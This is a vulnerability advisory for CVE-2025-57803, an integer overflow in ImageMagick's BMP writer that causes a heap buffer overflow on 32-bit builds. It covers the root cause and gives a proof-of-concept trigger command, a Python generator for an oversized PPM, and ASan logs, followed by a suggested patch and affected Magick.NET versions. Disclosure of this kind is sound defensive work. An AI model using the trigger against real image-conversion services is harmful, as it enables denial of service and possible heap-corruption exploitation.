Skip to content

GHSA-mxvv-97wh-cfmm CVE-2025-57803

ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow

High NuGet
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.91%
Chance of exploitation in the next 30 days. Higher than 59.95% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-122 Heap-based Buffer Overflow
CWE-190 Integer Overflow or Wraparound
Fix
Available
6 packages have a fixed version

Description

Summary

A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytes_per_line (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.

  • Impact: Attacker-controlled heap out-of-bounds (OOB) write during conversion to BMP.

  • Surface: Typical upload → normalize/thumbnail → magick ... out.bmp workers.

  • 32-bit: Vulnerable (reproduced with ASan).

  • 64-bit: Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards.

  • Proposed severity: Critical 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).


Scope & Affected Builds

  • Project: ImageMagick (BMP writer path, WriteBMPImage in coders/bmp.c).

  • Commit under test: 3fcd081c0278427fc0e8ac40ef75c0a1537792f7

  • Version string from the run: ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712

  • Architecture: 32-bit i686 (sizeof(size_t) == 4) with ASan/UBSan.

  • Note on other versions: Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.


Root Cause (with code anchors)

Stride computation (writer)

bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32);

Per-row base and 24-bpp loop (writer)

q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line;
for (x = 0; x < (ssize_t)image->columns; x++) {
  *q++ = B(...); *q++ = G(...); *q++ = R(...);  // writes 3 * width bytes
}

Allocation (writer)

pixel_info = AcquireVirtualMemory(image->rows,
    MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels));
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);

Dimension “caps” (insufficient)

The writer rejects dimensions that don’t round-trip through signed int, but both overflow thresholds below are ≤ INT_MAX on 32-bit, so the caps do not prevent the bug.


Integer-Overflow Analysis (32-bit size_t)

Stride formula for 24-bpp:

bytes_per_line = 4 * ((width * 24 + 31) / 32)

There are two independent overflow hazards on 32-bit:

  1. Stage-1 multiply+add in (width * 24 + 31)
    Overflow iff width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969
    → at width ≥ 178,956,970 the numerator wraps small before /32, producing a tiny bytes_per_line.

  2. Stage-2 final ×4 after the division
    Let q = (width * 24 + 31) / 32. Final ×4 overflows iff q > 0x3FFFFFFF.
    Solving gives width ≥ 1,431,655,765 (0x55555555).

Both thresholds are below INT_MAX (≈2.147e9), so “int caps” don’t help.

Mismatch predicate (guaranteed OOB when overflowed):
Per-row write for 24-bpp is row_bytes = 3*width. Safety requires row_bytes ≤ bytes_per_line.
Under either overflow, bytes_per_line collapses → 3*width > bytes_per_line holds → OOB-write.


Concrete Demonstration

Chosen width: W = 178,957,200 (just over Stage-1 bound)

  • Stage-1: 24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32) → 5535

  • Divide by 32: 5535 / 32 = 172

  • Multiply by 4: bytes_per_line = 172 * 4 = **688** bytes ← tiny stride

  • Per-row data (24-bpp): row_bytes = 3*W = **536,871,600** bytes

  • Allocation used: MagickMax(688, W+256) = **178,957,456** bytes

  • Immediate OOB: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes.


Observed Result (ASan excerpt)

ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 in WriteBMPImage coders/bmp.c:2309
...
allocated by:
  AcquireVirtualMemory MagickCore/memory.c:747
  WriteBMPImage coders/bmp.c:2092
  • Binary: ELF 32-bit i386, Q8, non-HDRI

  • Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)


Exploitability & Risk

  • Primitive: Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot.

  • Control: Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP).

  • Likely deployment: Server-side, non-interactive conversion pipelines (UI:N).

  • Outcome: At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to RCE.

Note on 64-bit: Without integer overflow, bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.


Reproduction (copy-paste triager script)

Test Environment:

  • docker run -it --rm --platform linux/386 debian:11 bash

  • Install deps: apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3

  • Clone & checkout: ImageMagick 7.1.2-0 → commit 3fcd081c0278427f...

  • Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):

./configure \
  --host=i686-pc-linux-gnu \
  --build=x86_64-pc-linux-gnu \
  --disable-dependency-tracking \
  --disable-silent-rules \
  --disable-shared \
  --disable-openmp \
  --disable-docs \
  --without-x \
  --without-perl \
  --without-magick-plus-plus \
  --without-lqr \
  --without-zstd \
  --without-tiff \
  --with-quantum-depth=8 \
  --disable-hdri \
  CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
  CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
  LDFLAGS="-fsanitize=address,undefined"

make -j"$(nproc)"
  • Runtime limits to exercise writer:
export MAGICK_WIDTH_LIMIT=200000000
export MAGICK_HEIGHT_LIMIT=200000000
export MAGICK_TEMPORARY_PATH=/tmp
export TMPDIR=/tmp
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0"

One-liner trigger (no input file):

W=178957200
./utilities/magick \
  -limit width 200000000 -limit height 200000000 \
  -limit memory 268435456 -limit map 0 -limit disk 200000000000 \
  -limit thread 1 \
  -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null

Expected: ASan heap-buffer-overflow in WriteBMPImage (will be provided in a private gist link).

Alternate PoC (raw PPM generator):

#!/usr/bin/env python3
W, H, MAXV = 180_000_000, 1, 255              
# W > 178,956,969
with open("huge.ppm", "wb") as f:
    f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii"))
    chunk = (b"\x41\x42\x43") * (1024*1024)
    remaining = 3 * W
    while remaining:
        n = min(remaining, len(chunk))
        f.write(chunk[:n]); remaining -= n
# Then: magick huge.ppm out.bmp

Proposed Severity

  • Primary vector (server auto-convert): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critical

  • If strictly CLI/manual conversion: UI:R → 8.8 High


Maintainer Pushbacks — Pre-empted

  • “MagickMax makes allocation large.” The row base advances by overflowed bytes_per_line, causing row overlap and eventual region exit regardless of total allocation size.

  • “We’re 64-bit only.” Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS.

  • “Resource policy blocks large images.” That’s environment-dependent defense-in-depth; arithmetic must be correct.


Remediation (Summary)

Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.

Concretely:

  • Validate width and bits_per_pixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t.
  • Compute row_bytes for the chosen bpp and assert row_bytes <= bytes_per_line.
  • Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.

A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).


Regression Tests to Include (PR-friendly)

  1. 32-bit overflow repros (with ASan):

    • rows=1, width ≥ 178,956,970, bpp=24 → now cleanly errors.

    • rows=2, same bound → no row overlap; clean error.

  2. 64-bit sanity: Medium images (e.g., 8192×4096, 24-bpp) round-trip; header’s biSizeImage = rows * bytes_per_line.

  3. Packed bpp (1/4/8): Validate row_bytes = (width*bpp+7)/8 (guarded), 4-pad, and payload ≤ stride holds.


Attachments (private BMP_Package)

Provided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.)


Disclosure & Coordination

  • Reporter: Lumina Mescuwa

  • Tested on: i686 Linux container (details in Repro)

  • Timeline: August 19th, 2025


Appendices

Appendix A — Patch block tailored to  bmp.c

Where this hooks in (current code):

  • Stride is computed here: bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);

  • Header uses bmp_info.image_size=(unsigned int) (bytes_per_line*image->rows);

  • Allocation uses AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns+256UL)*sizeof(*pixels));

  • 24-bpp row loop writes pixels then zero-pads up to bytes_per_line (so the per-row slot size matters): for (x=3L*(ssize_t)image->columns; x < (ssize_t)bytes_per_line; x++) *q++=0x00;


Suggested Patch (minimal surface, guards + invariant)

I recommend this in place of the existing bytes_per_line assignment and the subsequent bmp_info.image_size / allocation block. Keep your macros and local variables as-is.

/* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */

/* 1) Guard the original stride arithmetic (preserve behavior, add checks). */
if (bmp_info.bits_per_pixel == 0 ||
    (size_t)image->columns > (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel)
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

size_t _tmp = (size_t)image->columns * (size_t)bmp_info.bits_per_pixel + 31;
/* Divide first; then check the final ×4 won't overflow. */
_tmp /= 32;
if (_tmp > (SIZE_MAX / 4))
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

bytes_per_line = 4 * _tmp;  /* same formula as before, now checked */

/* 2) Compute the actual data bytes written per row for the chosen bpp. */
size_t row_bytes;
if (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) {
  /* packed: ceil(width*bpp/8) */
  if ((size_t)image->columns > (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel)
    ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
  row_bytes = (((size_t)image->columns * (size_t)bmp_info.bits_per_pixel) + 7) >> 3;
} else {
  /* 16/24/32 bpp: (bpp/8) * width */
  size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8;
  if (bpp_bytes == 0 || (size_t)image->columns > SIZE_MAX / bpp_bytes)
    ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
  row_bytes = bpp_bytes * (size_t)image->columns;
}

/* 3) Per-row safety invariant: the payload must fit the stride. */
if (row_bytes > bytes_per_line)
  ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

/* 4) Guard header size and allocation products. */
if ((size_t)image->rows == 0)
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

/* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */
if (bytes_per_line > 0xFFFFFFFFu / (size_t)image->rows)
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
bmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image->rows);

/* Allocation count = rows * stride_used, with existing MagickMax policy. */
size_t _stride = MagickMax(bytes_per_line, (size_t)image->columns + 256UL);
if (_stride > SIZE_MAX / (size_t)image->rows)
  ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

pixel_info = AcquireVirtualMemory((size_t)image->rows, _stride * sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
  ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);

/* Optional: keep zeroing aligned to computed header size. */
(void) memset(pixels, 0, (size_t) bmp_info.image_size);

/* --- PATCH END --- */

Why this is the right spot?

  • It replaces the unguarded stride line you currently have, without changing the algorithm (still 4*((W*bpp+31)/32)). 

  • It fixes the header (biSizeImage) to be a checked product, instead of a potentially wrapped multiplication. 

  • It guards allocation where you presently allocate rows × MagickMax(bytes_per_line, columns+256). 

  • The invariant row_bytes ≤ bytes_per_line ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to bytes_per_line) can never exceed the per-row slot the code relies on. 


Notes

  • Behavior preserved: The stride value for normal images is unchanged; only pathological integer states are rejected. 

  • Header consistency: biSizeImage = rows * bytes_per_line remains true by construction, but now cannot overflow a 32-bit DIB field. 

  • Defensive alignment: If you prefer, you can compute bytes_per_line as ((row_bytes + 3) & ~3U); it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.

A slightly larger “helpers” variant (with safe_mul_size / safe_add_size utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.

Appendix B — Arithmetic Worked Example (W=178,957,200)

  • (24W + 31) mod 2^32 = 5535

  • bytes_per_line = 4 * (5535/32) = 688

  • row_bytes (24-bpp) = 536,871,600

  • Allocation via MagickMax = 178,957,456 → immediate row 0 out-of-bounds.

Appendix C — Raw ASan Log (trimmed)

=================================================================
==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 at 0x6eaac490 thread T0
    #0 0xed2788 in WriteBMPImage coders/bmp.c:2309
    #1 0x13da32c in WriteImage MagickCore/constitute.c:1342
    #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564
0x6eaac490 is located 0 bytes to the right of 178957456-byte region
allocated by thread T0 here:
    #0 0x408e30ab in __interceptor_posix_memalign
    #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747
    #2 0xecd597 in WriteBMPImage coders/bmp.c:2092

Affected versions

NuGet

PackageVulnerableFixed in
Magick.NET-Q16-AnyCPU
< 14.8.1
14.8.1
Magick.NET-Q16-HDRI-AnyCPU
< 14.8.1
14.8.1
Magick.NET-Q16-HDRI-x86
< 14.8.1
14.8.1
Magick.NET-Q16-x86
< 14.8.1
14.8.1
Magick.NET-Q8-AnyCPU
< 14.8.1
14.8.1
Magick.NET-Q8-x86
< 14.8.1
14.8.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

Magick.NET-Q16-AnyCPU NuGet → 14.8.1

dotnet
dotnet add package Magick.NET-Q16-AnyCPU --version 14.8.1

Magick.NET-Q16-HDRI-AnyCPU NuGet → 14.8.1

dotnet
dotnet add package Magick.NET-Q16-HDRI-AnyCPU --version 14.8.1

Magick.NET-Q16-HDRI-x86 NuGet → 14.8.1

dotnet
dotnet add package Magick.NET-Q16-HDRI-x86 --version 14.8.1

Magick.NET-Q16-x86 NuGet → 14.8.1

dotnet
dotnet add package Magick.NET-Q16-x86 --version 14.8.1

Magick.NET-Q8-AnyCPU NuGet → 14.8.1

dotnet
dotnet add package Magick.NET-Q8-AnyCPU --version 14.8.1

Magick.NET-Q8-x86 NuGet → 14.8.1

dotnet
dotnet add package Magick.NET-Q8-x86 --version 14.8.1

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-122: Heap-based Buffer Overflow

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().

How to prevent it
  • Pre-design: Use a language or compiler that performs automatic bounds checking.
  • Architecture and Design: Use an abstraction library to abstract away risky APIs. Not a complete solution.
  • Operation, Build and Compilation: Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
  • Operation, Build and Compilation: Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
  • Implementation: Implement and perform bounds checking on input.
  • Implementation: Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.
  • Operation: Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.

CWE-190: Integer Overflow or Wraparound

The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.

How to prevent it
  • Requirements: Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.
  • Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. If possible, choose a language or compiler that performs automatic bounds checking.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
  • Implementation: Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range. Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
  • Implementation: Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-j7hp-h8jx-5ppr
libwebp: OOB write in BuildHuffmanTable
High Known exploited Also affects magick.net-q16-anycpu
GHSA-cvhv-g4rq-3hmw
ImageMagick: Memory Leak when providing invalid options to the cli
Medium Also affects Magick.NET-Q16-AnyCPU
GHSA-h22j-f9xw-xjjm
ImageMagick: Integer Overflow in JNX decoder causes heap buffer over-write when processing extremly large files on 32-bit builds
Medium Also affects Magick.NET-Q16-AnyCPU
GHSA-422r-8c97-xcg4
ImageMagick: Heap Buffer Over-Write in fx operation
Medium Also affects Magick.NET-Q16-AnyCPU
GHSA-f5m7-cqgw-8hm7
ImageMagick: Heap Buffer Over-Write in morphology operation when an invalid kernel is provided
Medium Also affects Magick.NET-Q16-AnyCPU
GHSA-hc76-7mpc-qjqh
ImageMagick: Code injection in HTML encoder due to incomplete fix of CVE-2026-25797
Medium Also affects Magick.NET-Q16-AnyCPU
GHSA-56m6-8q75-f2rw
ImageMagick: Policy Bypass due to an incomplete fix of CVE-2026-49219
Medium Also affects Magick.NET-Q16-AnyCPU
GHSA-h5r4-w88w-7ccr
ImageMagick: Memory Leak in TIFF encoder when invalid tiff:tile-geometry is specified
Low Also affects Magick.NET-Q16-AnyCPU
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor